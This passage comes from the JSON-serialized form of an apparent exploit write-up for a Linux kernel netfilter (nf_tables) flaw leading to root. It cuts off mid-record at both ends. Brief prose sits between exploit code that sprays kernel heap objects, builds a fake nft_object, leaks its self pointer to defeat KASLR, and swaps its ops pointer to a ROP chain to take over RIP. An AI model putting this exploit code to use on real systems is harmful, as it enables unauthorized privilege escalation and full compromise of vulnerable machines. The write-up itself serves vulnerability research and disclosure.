type":22,"tag":101,"props":59311,"children":59312},{"style":926},[59313],{"type":27,"value":59314}," snprintf",{"type":22,"tag":101,"props":59316,"children":59317},{"style":120},[59318],{"type":27,"value":59319},"(spray_name, ",{"type":22,"tag":101,"props":59321,"children":59322},{"style":108},[59323],{"type":27,"value":59324},"sizeof",{"type":22,"tag":101,"props":59326,"children":59327},{"style":120},[59328],{"type":27,"value":59329},"(spray_name), ",{"type":22,"tag":101,"props":59331,"children":59332},{"style":6476},[59333],{"type":27,"value":59334},"\"spray-%i\"",{"type":22,"tag":101,"props":59336,"children":59337},{"style":120},[59338],{"type":27,"value":59339},", i);\n",{"type":22,"tag":101,"props":59341,"children":59342},{"class":103,"line":1110},[59343,59348,59352,59356,59361],{"type":22,"tag":101,"props":59344,"children":59345},{"style":126},[59346],{"type":27,"value":59347}," udata",{"type":22,"tag":101,"props":59349,"children":59350},{"style":120},[59351],{"type":27,"value":58592},{"type":22,"tag":101,"props":59353,"children":59354},{"style":166},[59355],{"type":27,"value":1511},{"type":22,"tag":101,"props":59357,"children":59358},{"style":926},[59359],{"type":27,"value":59360}," getudata",{"type":22,"tag":101,"props":59362,"children":59363},{"style":120},[59364],{"type":27,"value":59365},"(nl, spray_name);\n",{"type":22,"tag":101,"props":59367,"children":59368},{"class":103,"line":1118},[59369],{"type":22,"tag":101,"props":59370,"children":59371},{"style":120},[59372],{"type":27,"value":1734},{"type":22,"tag":101,"props":59374,"children":59375},{"class":103,"line":1158},[59376,59380,59384,59388,59392,59396,59400,59404,59408,59412,59417,59421,59425,59429,59433],{"type":22,"tag":101,"props":59377,"children":59378},{"style":3595},[59379],{"type":27,"value":16283},{"type":22,"tag":101,"props":59381,"children":59382},{"style":120},[59383],{"type":27,"value":3603},{"type":22,"tag":101,"props":59385,"children":59386},{"style":126},[59387],{"type":27,"value":59095},{"type":22,"tag":101,"props":59389,"children":59390},{"style":120},[59391],{"type":27,"value":2414},{"type":22,"tag":101,"props":59393,"children":59394},{"style":1544},[59395],{"type":27,"value":8065},{"type":22,"tag":101,"props":59397,"children":59398},{"style":120},[59399],{"type":27,"value":52954},{"type":22,"tag":101,"props":59401,"children":59402},{"style":1544},[59403],{"type":27,"value":8065},{"type":22,"tag":101,"props":59405,"children":59406},{"style":120},[59407],{"type":27,"value":12668},{"type":22,"tag":101,"props":59409,"children":59410},{"style":166},[59411],{"type":27,"value":4340},{"type":22,"tag":101,"props":59413,"children":59414},{"style":126},[59415],{"type":27,"value":59416}," udata",{"type":22,"tag":101,"props":59418,"children":59419},{"style":120},[59420],{"type":27,"value":2414},{"type":22,"tag":101,"props":59422,"children":59423},{"style":1544},[59424],{"type":27,"value":7164},{"type":22,"tag":101,"props":59426,"children":59427},{"style":120},[59428],{"type":27,"value":52954},{"type":22,"tag":101,"props":59430,"children":59431},{"style":1544},[59432],{"type":27,"value":8065},{"type":22,"tag":101,"props":59434,"children":59435},{"style":120},[59436],{"type":27,"value":59437},"])\n",{"type":22,"tag":101,"props":59439,"children":59440},{"class":103,"line":1166},[59441],{"type":22,"tag":101,"props":59442,"children":59443},{"style":120},[59444],{"type":27,"value":33186},{"type":22,"tag":101,"props":59446,"children":59447},{"class":103,"line":1215},[59448,59453,59457,59462],{"type":22,"tag":101,"props":59449,"children":59450},{"style":926},[59451],{"type":27,"value":59452}," puts",{"type":22,"tag":101,"props":59454,"children":59455},{"style":120},[59456],{"type":27,"value":980},{"type":22,"tag":101,"props":59458,"children":59459},{"style":6476},[59460],{"type":27,"value":59461},"\"[+] got duplicated table\"",{"type":22,"tag":101,"props":59463,"children":59464},{"style":120},[59465],{"type":27,"value":994},{"type":22,"tag":101,"props":59467,"children":59468},{"class":103,"line":2425},[59469],{"type":22,"tag":101,"props":59470,"children":59471},{"style":120},[59472],{"type":27,"value":1734},{"type":22,"tag":101,"props":59474,"children":59475},{"class":103,"line":5417},[59476],{"type":22,"tag":101,"props":59477,"children":59478},{"emptyLinePlaceholder":15},[59479],{"type":27,"value":1581},{"type":22,"tag":101,"props":59481,"children":59482},{"class":103,"line":7714},[59483],{"type":22,"tag":101,"props":59484,"children":59485},{"style":2215},[59486],{"type":27,"value":59487}," // Replace one of the udata buffers with nft_object\n",{"type":22,"tag":101,"props":59489,"children":59490},{"class":103,"line":7723},[59491],{"type":22,"tag":101,"props":59492,"children":59493},{"style":2215},[59494],{"type":27,"value":59495}," // and read it's counterpart to leak the nft_object struct\n",{"type":22,"tag":101,"props":59497,"children":59498},{"class":103,"line":7791},[59499,59504,59508,59513],{"type":22,"tag":101,"props":59500,"children":59501},{"style":926},[59502],{"type":27,"value":59503}," puts",{"type":22,"tag":101,"props":59505,"children":59506},{"style":120},[59507],{"type":27,"value":980},{"type":22,"tag":101,"props":59509,"children":59510},{"style":6476},[59511],{"type":27,"value":59512},"\"[*] Info leak\"",{"type":22,"tag":101,"props":59514,"children":59515},{"style":120},[59516],{"type":27,"value":994},{"type":22,"tag":101,"props":59518,"children":59519},{"class":103,"line":7799},[59520,59525,59530,59534,59538,59542],{"type":22,"tag":101,"props":59521,"children":59522},{"style":926},[59523],{"type":27,"value":59524}," deludata_spray",{"type":22,"tag":101,"props":59526,"children":59527},{"style":120},[59528],{"type":27,"value":59529},"(nl, ",{"type":22,"tag":101,"props":59531,"children":59532},{"style":1544},[59533],{"type":27,"value":8065},{"type":22,"tag":101,"props":59535,"children":59536},{"style":120},[59537],{"type":27,"value":758},{"type":22,"tag":101,"props":59539,"children":59540},{"style":1544},[59541],{"type":27,"value":6813},{"type":22,"tag":101,"props":59543,"children":59544},{"style":120},[59545],{"type":27,"value":994},{"type":22,"tag":101,"props":59547,"children":59548},{"class":103,"line":7829},[59549,59554],{"type":22,"tag":101,"props":59550,"children":59551},{"style":926},[59552],{"type":27,"value":59553}," wait_destroyer",{"type":22,"tag":101,"props":59555,"children":59556},{"style":120},[59557],{"type":27,"value":934},{"type":22,"tag":101,"props":59559,"children":59560},{"class":103,"line":7837},[59561,59566,59570,59574,59578,59582,59586,59590,59594,59598],{"type":22,"tag":101,"props":59562,"children":59563},{"style":926},[59564],{"type":27,"value":59565}," obj_spray",{"type":22,"tag":101,"props":59567,"children":59568},{"style":120},[59569],{"type":27,"value":59529},{"type":22,"tag":101,"props":59571,"children":59572},{"style":1544},[59573],{"type":27,"value":8065},{"type":22,"tag":101,"props":59575,"children":59576},{"style":120},[59577],{"type":27,"value":758},{"type":22,"tag":101,"props":59579,"children":59580},{"style":1544},[59581],{"type":27,"value":6813},{"type":22,"tag":101,"props":59583,"children":59584},{"style":120},[59585],{"type":27,"value":758},{"type":22,"tag":101,"props":59587,"children":59588},{"style":108},[59589],{"type":27,"value":58492},{"type":22,"tag":101,"props":59591,"children":59592},{"style":120},[59593],{"type":27,"value":758},{"type":22,"tag":101,"props":59595,"children":59596},{"style":1544},[59597],{"type":27,"value":8065},{"type":22,"tag":101,"props":59599,"children":59600},{"style":120},[59601],{"type":27,"value":994},{"type":22,"tag":101,"props":59603,"children":59604},{"class":103,"line":7868},[59605,59610,59614,59619,59623,59627,59632,59636,59640,59645,59649,59654],{"type":22,"tag":101,"props":59606,"children":59607},{"style":108},[59608],{"type":27,"value":59609}," uint64_t",{"type":22,"tag":101,"props":59611,"children":59612},{"style":166},[59613],{"type":27,"value":13822},{"type":22,"tag":101,"props":59615,"children":59616},{"style":120},[59617],{"type":27,"value":59618},"fake_obj ",{"type":22,"tag":101,"props":59620,"children":59621},{"style":166},[59622],{"type":27,"value":1511},{"type":22,"tag":101,"props":59624,"children":59625},{"style":120},[59626],{"type":27,"value":3603},{"type":22,"tag":101,"props":59628,"children":59629},{"style":108},[59630],{"type":27,"value":59631},"uint64_t",{"type":22,"tag":101,"props":59633,"children":59634},{"style":166},[59635],{"type":27,"value":13822},{"type":22,"tag":101,"props":59637,"children":59638},{"style":120},[59639],{"type":27,"value":2261},{"type":22,"tag":101,"props":59641,"children":59642},{"style":926},[59643],{"type":27,"value":59644},"getudata",{"type":22,"tag":101,"props":59646,"children":59647},{"style":120},[59648],{"type":27,"value":59529},{"type":22,"tag":101,"props":59650,"children":59651},{"style":6476},[59652],{"type":27,"value":59653},"\"spray-2\"",{"type":22,"tag":101,"props":59655,"children":59656},{"style":120},[59657],{"type":27,"value":994},{"type":22,"tag":101,"props":59659,"children":59660},{"class":103,"line":7876},[59661],{"type":22,"tag":101,"props":59662,"children":59663},{"style":120},[59664],{"type":27,"value":14324},{"type":22,"tag":1760,"props":59666,"children":59668},{"id":59667},"leaking-self-pointer-of-nft_object",[59669,59671],{"type":27,"value":59670},"Leaking self pointer of ",{"type":22,"tag":30,"props":59672,"children":59674},{"className":59673},[],[59675],{"type":27,"value":59110},{"type":22,"tag":23,"props":59677,"children":59678},{},[59679,59681,59686,59688,59693,59695,59700,59702,59708],{"type":27,"value":59680},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":22,"tag":30,"props":59682,"children":59684},{"className":59683},[],[59685],{"type":27,"value":59110},{"type":27,"value":59687}," to get its own address. This is possible because the ",{"type":22,"tag":30,"props":59689,"children":59691},{"className":59690},[],[59692],{"type":27,"value":59110},{"type":27,"value":59694}," has a ",{"type":22,"tag":30,"props":59696,"children":59698},{"className":59697},[],[59699],{"type":27,"value":59095},{"type":27,"value":59701}," pointer (similar to ",{"type":22,"tag":30,"props":59703,"children":59705},{"className":59704},[],[59706],{"type":27,"value":59707},"table->udata",{"type":27,"value":59709}," that I used for leaking KASLR), that I can use to read/write data.",{"type":22,"tag":23,"props":59711,"children":59712},{},[59713,59714,59719,59721,59727,59729,59734,59736,59742,59744,59750,59752,59757,59759,59764,59766,59771,59773],{"type":27,"value":2007},{"type":22,"tag":30,"props":59715,"children":59717},{"className":59716},[],[59718],{"type":27,"value":59110},{"type":27,"value":59720}," struct also contains a ",{"type":22,"tag":30,"props":59722,"children":59724},{"className":59723},[],[59725],{"type":27,"value":59726},"list_head",{"type":27,"value":59728}," inserted in a circular list containing all ",{"type":22,"tag":30,"props":59730,"children":59732},{"className":59731},[],[59733],{"type":27,"value":59110},{"type":27,"value":59735},"'s that belong to a given ",{"type":22,"tag":30,"props":59737,"children":59739},{"className":59738},[],[59740],{"type":27,"value":59741},"table",{"type":27,"value":59743},". Considering that our object is currently alone in its table, the ",{"type":22,"tag":30,"props":59745,"children":59747},{"className":59746},[],[59748],{"type":27,"value":59749},"table->list.next",{"type":27,"value":59751}," pointer in the ",{"type":22,"tag":30,"props":59753,"children":59755},{"className":59754},[],[59756],{"type":27,"value":59110},{"type":27,"value":59758}," will point back to the ",{"type":22,"tag":30,"props":59760,"children":59762},{"className":59761},[],[59763],{"type":27,"value":59726},{"type":27,"value":59765}," contained in the ",{"type":22,"tag":30,"props":59767,"children":59769},{"className":59768},[],[59770],{"type":27,"value":59741},{"type":27,"value":59772}," and vice-versa.\n",{"type":22,"tag":7959,"props":59774,"children":59776},{"alt":54574,"src":59775},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":22,"tag":23,"props":59778,"children":59779},{},[59780,59782,59787,59789,59794,59796,59802,59804,59809,59810,59815,59817,59822,59824,59829],{"type":27,"value":59781},"In short, that means that if we swap the ",{"type":22,"tag":30,"props":59783,"children":59785},{"className":59784},[],[59786],{"type":27,"value":59095},{"type":27,"value":59788}," pointer of the ",{"type":22,"tag":30,"props":59790,"children":59792},{"className":59791},[],[59793],{"type":27,"value":59110},{"type":27,"value":59795}," with its own ",{"type":22,"tag":30,"props":59797,"children":59799},{"className":59798},[],[59800],{"type":27,"value":59801},"list.next",{"type":27,"value":59803}," pointer we should be able to read a pointer back to the ",{"type":22,"tag":30,"props":59805,"children":59807},{"className":59806},[],[59808],{"type":27,"value":59110},{"type":27,"value":56335},{"type":22,"tag":30,"props":59811,"children":59813},{"className":59812},[],[59814],{"type":27,"value":59726},{"type":27,"value":59816}," which is also the start of the ",{"type":22,"tag":30,"props":59818,"children":59820},{"className":59819},[],[59821],{"type":27,"value":59110},{"type":27,"value":59823}," itself.\n",{"type":22,"tag":9370,"props":59825,"children":59826},{},[59827],{"type":27,"value":59828},"NOTE:",{"type":27,"value":59830}," This is a novel small trick.",{"type":22,"tag":91,"props":59832,"children":59834},{"className":33109,"code":59833,"language":33111,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[59835],{"type":22,"tag":30,"props":59836,"children":59837},{"__ignoreMap":7},[59838,59845,59853,59866,59914,59941,59952,59990,59997,60026,60056],{"type":22,"tag":101,"props":59839,"children":59840},{"class":103,"line":104},[59841],{"type":22,"tag":101,"props":59842,"children":59843},{"style":120},[59844],{"type":27,"value":14324},{"type":22,"tag":101,"props":59846,"children":59847},{"class":103,"line":157},[59848],{"type":22,"tag":101,"props":59849,"children":59850},{"style":120},[59851],{"type":27,"value":59852}," // Leak nft_object ptr using table linked list\n",{"type":22,"tag":101,"props":59854,"children":59855},{"class":103,"line":182},[59856,59861],{"type":22,"tag":101,"props":59857,"children":59858},{"style":120},[59859],{"type":27,"value":59860}," fake_obj[8] = 8;",{"type":22,"tag":101,"props":59862,"children":59863},{"style":2215},[59864],{"type":27,"value":59865}," // ulen = 8\n",{"type":22,"tag":101,"props":59867,"children":59868},{"class":103,"line":367},[59869,59874,59878,59883,59887,59891,59896,59900,59904,59909],{"type":22,"tag":101,"props":59870,"children":59871},{"style":126},[59872],{"type":27,"value":59873}," fake_obj",{"type":22,"tag":101,"props":59875,"children":59876},{"style":120},[59877],{"type":27,"value":2414},{"type":22,"tag":101,"props":59879,"children":59880},{"style":1544},[59881],{"type":27,"value":59882},"9",{"type":22,"tag":101,"props":59884,"children":59885},{"style":120},[59886],{"type":27,"value":12668},{"type":22,"tag":101,"props":59888,"children":59889},{"style":166},[59890],{"type":27,"value":1511},{"type":22,"tag":101,"props":59892,"children":59893},{"style":126},[59894],{"type":27,"value":59895}," fake_obj",{"type":22,"tag":101,"props":59897,"children":59898},{"style":120},[59899],{"type":27,"value":2414},{"type":22,"tag":101,"props":59901,"children":59902},{"style":1544},[59903],{"type":27,"value":8065},{"type":22,"tag":101,"props":59905,"children":59906},{"style":120},[59907],{"type":27,"value":59908},"];",{"type":22,"tag":101,"props":59910,"children":59911},{"style":2215},[59912],{"type":27,"value":59913}," // udata = list->next\n",{"type":22,"tag":101,"props":59915,"children":59916},{"class":103,"line":398},[59917,59921,59925,59929,59933,59937],{"type":22,"tag":101,"props":59918,"children":59919},{"style":926},[59920],{"type":27,"value":59524},{"type":22,"tag":101,"props":59922,"children":59923},{"style":120},[59924],{"type":27,"value":59529},{"type":22,"tag":101,"props":59926,"children":59927},{"style":1544},[59928],{"type":27,"value":7164},{"type":22,"tag":101,"props":59930,"children":59931},{"style":120},[59932],{"type":27,"value":758},{"type":22,"tag":101,"props":59934,"children":59935},{"style":1544},[59936],{"type":27,"value":6813},{"type":22,"tag":101,"props":59938,"children":59939},{"style":120},[59940],{"type":27,"value":994},{"type":22,"tag":101,"props":59942,"children":59943},{"class":103,"line":428},[59944,59948],{"type":22,"tag":101,"props":59945,"children":59946},{"style":926},[59947],{"type":27,"value":59553},{"type":22,"tag":101,"props":59949,"children":59950},{"style":120},[59951],{"type":27,"value":934},{"type":22,"tag":101,"props":59953,"children":59954},{"class":103,"line":997},[59955,59960,59964,59969,59973,59977,59981,59985],{"type":22,"tag":101,"props":59956,"children":59957},{"style":926},[59958],{"type":27,"value":59959}," udata_spray",{"type":22,"tag":101,"props":59961,"children":59962},{"style":120},[59963],{"type":27,"value":59529},{"type":22,"tag":101,"props":59965,"children":59966},{"style":1544},[59967],{"type":27,"value":59968},"0xe8",{"type":22,"tag":101,"props":59970,"children":59971},{"style":120},[59972],{"type":27,"value":758},{"type":22,"tag":101,"props":59974,"children":59975},{"style":1544},[59976],{"type":27,"value":21293},{"type":22,"tag":101,"props":59978,"children":59979},{"style":120},[59980],{"type":27,"value":758},{"type":22,"tag":101,"props":59982,"children":59983},{"style":1544},[59984],{"type":27,"value":6813},{"type":22,"tag":101,"props":59986,"children":59987},{"style":120},[59988],{"type":27,"value":59989},", fake_obj);\n",{"type":22,"tag":101,"props":59991,"children":59992},{"class":103,"line":1032},[59993],{"type":22,"tag":101,"props":59994,"children":59995},{"emptyLinePlaceholder":15},[59996],{"type":27,"value":1581},{"type":22,"tag":101,"props":59998,"children":59999},{"class":103,"line":1063},[60000,60005,60009,60014,60018,60022],{"type":22,"tag":101,"props":60001,"children":60002},{"style":926},[60003],{"type":27,"value":60004}," get_obj",{"type":22,"tag":101,"props":60006,"children":60007},{"style":120},[60008],{"type":27,"value":59529},{"type":22,"tag":101,"props":60010,"children":60011},{"style":6476},[60012],{"type":27,"value":60013},"\"spray-0\"",{"type":22,"tag":101,"props":60015,"children":60016},{"style":120},[60017],{"type":27,"value":758},{"type":22,"tag":101,"props":60019,"children":60020},{"style":108},[60021],{"type":27,"value":5608},{"type":22,"tag":101,"props":60023,"children":60024},{"style":120},[60025],{"type":27,"value":994},{"type":22,"tag":101,"props":60027,"children":60028},{"class":103,"line":1071},[60029,60034,60038,60043,60047,60051],{"type":22,"tag":101,"props":60030,"children":60031},{"style":926},[60032],{"type":27,"value":60033}," printf",{"type":22,"tag":101,"props":60035,"children":60036},{"style":120},[60037],{"type":27,"value":980},{"type":22,"tag":101,"props":60039,"children":60040},{"style":6476},[60041],{"type":27,"value":60042},"\"[*] nft_object ptr: 0x%lx",{"type":22,"tag":101,"props":60044,"children":60045},{"style":52370},[60046],{"type":27,"value":52373},{"type":22,"tag":101,"props":60048,"children":60049},{"style":6476},[60050],{"type":27,"value":24051},{"type":22,"tag":101,"props":60052,"children":60053},{"style":120},[60054],{"type":27,"value":60055},", obj_ptr);\n",{"type":22,"tag":101,"props":60057,"children":60058},{"class":103,"line":1110},[60059],{"type":22,"tag":101,"props":60060,"children":60061},{"style":120},[60062],{"type":27,"value":14324},{"type":22,"tag":1760,"props":60064,"children":60066},{"id":60065},"hijacking-control-flow",[60067],{"type":27,"value":60068},"Hijacking control-flow",{"type":22,"tag":23,"props":60070,"children":60071},{},[60072,60074,60079,60081,60086,60088,60093,60095,60100,60102,60107,60109],{"type":27,"value":60073},"To hijack control-flow, we can use ",{"type":22,"tag":30,"props":60075,"children":60077},{"className":60076},[],[60078],{"type":27,"value":59110},{"type":27,"value":60080}," once again. The ",{"type":22,"tag":30,"props":60082,"children":60084},{"className":60083},[],[60085],{"type":27,"value":59110},{"type":27,"value":60087}," struct has an ",{"type":22,"tag":30,"props":60089,"children":60091},{"className":60090},[],[60092],{"type":27,"value":56666},{"type":27,"value":60094}," pointer to a function pointer table. We can swap the ",{"type":22,"tag":30,"props":60096,"children":60098},{"className":60097},[],[60099],{"type":27,"value":56666},{"type":27,"value":60101}," pointer with the ",{"type":22,"tag":30,"props":60103,"children":60105},{"className":60104},[],[60106],{"type":27,"value":59095},{"type":27,"value":60108}," pointer, taking control of the pointer table.\n",{"type":22,"tag":7959,"props":60110,"children":60112},{"alt":54574,"src":60111},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":22,"tag":91,"props":60114,"children":60116},{"className":33109,"code":60115,"language":33111,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[60117],{"type":22,"tag":30,"props":60118,"children":60119},{"__ignoreMap":7},[60120,60127,60135,60159,60206,60242,60249,60257,60289,60297,60305,60326,60334,60342,60406,60413,60421,60429,60436,60444,60478,60486,60493,60501,60508,60516,60549,60570],{"type":22,"tag":101,"props":60121,"children":60122},{"class":103,"line":104},[60123],{"type":22,"tag":101,"props":60124,"children":60125},{"style":120},[60126],{"type":27,"value":14324},{"type":22,"tag":101,"props":60128,"children":60129},{"class":103,"line":157},[60130],{"type":22,"tag":101,"props":60131,"children":60132},{"style":120},[60133],{"type":27,"value":60134}," // Fake ops\n",{"type":22,"tag":101,"props":60136,"children":60137},{"class":103,"line":182},[60138,60143,60147,60151,60155],{"type":22,"tag":101,"props":60139,"children":60140},{"style":120},[60141],{"type":27,"value":60142}," uint64_t *rop = calloc(29, ",{"type":22,"tag":101,"props":60144,"children":60145},{"style":114},[60146],{"type":27,"value":59324},{"type":22,"tag":101,"props":60148,"children":60149},{"style":120},[60150],{"type":27,"value":980},{"type":22,"tag":101,"props":60152,"children":60153},{"style":108},[60154],{"type":27,"value":59631},{"type":22,"tag":101,"props":60156,"children":60157},{"style":120},[60158],{"type":27,"value":3950},{"type":22,"tag":101,"props":60160,"children":60161},{"class":103,"line":367},[60162,60167,60171,60175,60179,60183,60188,60192,60197,60201],{"type":22,"tag":101,"props":60163,"children":60164},{"style":126},[60165],{"type":27,"value":60166}," rop",{"type":22,"tag":101,"props":60168,"children":60169},{"style":120},[60170],{"type":27,"value":2414},{"type":22,"tag":101,"props":60172,"children":60173},{"style":1544},[60174],{"type":27,"value":8065},{"type":22,"tag":101,"props":60176,"children":60177},{"style":120},[60178],{"type":27,"value":12668},{"type":22,"tag":101,"props":60180,"children":60181},{"style":166},[60182],{"type":27,"value":1511},{"type":22,"tag":101,"props":60184,"children":60185},{"style":120},[60186],{"type":27,"value":60187}," kaslr_slide ",{"type":22,"tag":101,"props":60189,"children":60190},{"style":166},[60191],{"type":27,"value":8426},{"type":22,"tag":101,"props":60193,"children":60194},{"style":1544},[60195],{"type":27,"value":60196}," 0xffffffff81988647",{"type":22,"tag":101,"props":60198,"children":60199},{"style":120},[60200],{"type":27,"value":53070},{"type":22,"tag":101,"props":60202,"children":60203},{"style":2215},[60204],{"type":27,"value":60205}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":22,"tag":101,"props":60207,"children":60208},{"class":103,"line":398},[60209,60213,60217,60221,60225,60229,60233,60237],{"type":22,"tag":101,"props":60210,"children":60211},{"style":126},[60212],{"type":27,"value":60166},{"type":22,"tag":101,"props":60214,"children":60215},{"style":120},[60216],{"type":27,"value":2414},{"type":22,"tag":101,"props":60218,"children":60219},{"style":1544},[60220],{"type":27,"value":7164},{"type":22,"tag":101,"props":60222,"children":60223},{"style":120},[60224],{"type":27,"value":12668},{"type":22,"tag":101,"props":60226,"children":60227},{"style":166},[60228],{"type":27,"value":1511},{"type":22,"tag":101,"props":60230,"children":60231},{"style":120},[60232],{"type":27,"value":60187},{"type":22,"tag":101,"props":60234,"children":60235},{"style":166},[60236],{"type":27,"value":8426},{"type":22,"tag":101,"props":60238,"children":60239},{"style":120},[60240],{"type":27,"value":60241}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":22,"tag":101,"props":60243,"children":60244},{"class":103,"line":428},[60245],{"type":22,"tag":101,"props":60246,"children":60247},{"style":120},[60248],{"type":27,"value":14324},{"type":22,"tag":101,"props":60250,"children":60251},{"class":103,"line":997},[60252],{"type":22,"tag":101,"props":60253,"children":60254},{"style":120},[60255],{"type":27,"value":60256}," // Send ROP in object udata\n",{"type":22,"tag":101,"props":60258,"children":60259},{"class":103,"line":1032},[60260,60265,60269,60274,60279,60284],{"type":22,"tag":101,"props":60261,"children":60262},{"style":120},[60263],{"type":27,"value":60264}," del_obj(",{"type":22,"tag":101,"props":60266,"children":60267},{"style":114},[60268],{"type":27,"value":58286},{"type":22,"tag":101,"props":60270,"children":60271},{"style":120},[60272],{"type":27,"value":60273},", \"",{"type":22,"tag":101,"props":60275,"children":60276},{"style":114},[60277],{"type":27,"value":60278},"spray",{"type":22,"tag":101,"props":60280,"children":60281},{"style":120},[60282],{"type":27,"value":60283},"-0",{"type":22,"tag":101,"props":60285,"children":60286},{"style":6476},[60287],{"type":27,"value":60288},"\");\n",{"type":22,"tag":101,"props":60290,"children":60291},{"class":103,"line":1063},[60292],{"type":22,"tag":101,"props":60293,"children":60294},{"style":6476},[60295],{"type":27,"value":60296}," wait_destroyer();\n",{"type":22,"tag":101,"props":60298,"children":60299},{"class":103,"line":1071},[60300],{"type":22,"tag":101,"props":60301,"children":60302},{"style":6476},[60303],{"type":27,"value":60304}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":22,"tag":101,"props":60306,"children":60307},{"class":103,"line":1110},[60308,60313,60317,60322],{"type":22,"tag":101,"props":60309,"children":60310},{"style":6476},[60311],{"type":27,"value":60312}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":22,"tag":101,"props":60314,"children":60315},{"style":108},[60316],{"type":27,"value":60278},{"type":22,"tag":101,"props":60318,"children":60319},{"style":120},[60320],{"type":27,"value":60321},"-3",{"type":22,"tag":101,"props":60323,"children":60324},{"style":6476},[60325],{"type":27,"value":60288},{"type":22,"tag":101,"props":60327,"children":60328},{"class":103,"line":1118},[60329],{"type":22,"tag":101,"props":60330,"children":60331},{"style":6476},[60332],{"type":27,"value":60333}," DumpHex(fake_obj, 0xe8);\n",{"type":22,"tag":101,"props":60335,"children":60336},{"class":103,"line":1158},[60337],{"type":22,"tag":101,"props":60338,"children":60339},{"style":6476},[60340],{"type":27,"value":60341}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":22,"tag":101,"props":60343,"children":60344},{"class":103,"line":1166},[60345,60350,60354,60358,60362,60367,60372,60377,60381,60386,60391,60396,60401],{"type":22,"tag":101,"props":60346,"children":60347},{"style":6476},[60348],{"type":27,"value":60349}," printf(\"",{"type":22,"tag":101,"props":60351,"children":60352},{"style":120},[60353],{"type":27,"value":2414},{"type":22,"tag":101,"props":60355,"children":60356},{"style":166},[60357],{"type":27,"value":8615},{"type":22,"tag":101,"props":60359,"children":60360},{"style":120},[60361],{"type":27,"value":12668},{"type":22,"tag":101,"props":60363,"children":60364},{"style":114},[60365],{"type":27,"value":60366},"ROP",{"type":22,"tag":101,"props":60368,"children":60369},{"style":114},[60370],{"type":27,"value":60371}," addr",{"type":22,"tag":101,"props":60373,"children":60374},{"style":120},[60375],{"type":27,"value":60376},": 0",{"type":22,"tag":101,"props":60378,"children":60379},{"style":114},[60380],{"type":27,"value":23266},{"type":22,"tag":101,"props":60382,"children":60383},{"style":120},[60384],{"type":27,"value":60385},"%",{"type":22,"tag":101,"props":60387,"children":60388},{"style":114},[60389],{"type":27,"value":60390},"lx",{"type":22,"tag":101,"props":60392,"children":60393},{"style":120},[60394],{"type":27,"value":60395},"\\",{"type":22,"tag":101,"props":60397,"children":60398},{"style":114},[60399],{"type":27,"value":60400},"n",{"type":22,"tag":101,"props":60402,"children":60403},{"style":6476},[60404],{"type":27,"value":60405},"\", rop_addr);\n",{"type":22,"tag":101,"props":60407,"children":60408},{"class":103,"line":1215},[60409],{"type":22,"tag":101,"props":60410,"children":60411},{"emptyLinePlaceholder":15},[60412],{"type":27,"value":1581},{"type":22,"tag":101,"props":60414,"children":60415},{"class":103,"line":2425},[60416],{"type":22,"tag":101,"props":60417,"children":60418},{"style":6476},[60419],{"type":27,"value":60420}," // Point to fake ops\n",{"type":22,"tag":101,"props":60422,"children":60423},{"class":103,"line":5417},[60424],{"type":22,"tag":101,"props":60425,"children":60426},{"style":6476},[60427],{"type":27,"value":60428}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":22,"tag":101,"props":60430,"children":60431},{"class":103,"line":7714},[60432],{"type":22,"tag":101,"props":60433,"children":60434},{"style":6476},[60435],{"type":27,"value":14324},{"type":22,"tag":101,"props":60437,"children":60438},{"class":103,"line":7723},[60439],{"type":22,"tag":101,"props":60440,"children":60441},{"style":6476},[60442],{"type":27,"value":60443}," // Write ROP\n",{"type":22,"tag":101,"props":60445,"children":60446},{"class":103,"line":7791},[60447,60452,60456,60460,60464,60469,60474],{"type":22,"tag":101,"props":60448,"children":60449},{"style":6476},[60450],{"type":27,"value":60451}," puts(\"",{"type":22,"tag":101,"props":60453,"children":60454},{"style":120},[60455],{"type":27,"value":2414},{"type":22,"tag":101,"props":60457,"children":60458},{"style":166},[60459],{"type":27,"value":8615},{"type":22,"tag":101,"props":60461,"children":60462},{"style":120},[60463],{"type":27,"value":12668},{"type":22,"tag":101,"props":60465,"children":60466},{"style":114},[60467],{"type":27,"value":60468},"Write",{"type":22,"tag":101,"props":60470,"children":60471},{"style":114},[60472],{"type":27,"value":60473}," ROP",{"type":22,"tag":101,"props":60475,"children":60476},{"style":6476},[60477],{"type":27,"value":60288},{"type":22,"tag":101,"props":60479,"children":60480},{"class":103,"line":7799},[60481],{"type":22,"tag":101,"props":60482,"children":60483},{"style":6476},[60484],{"type":27,"value":60485}," deludata_spray(nl, 3, 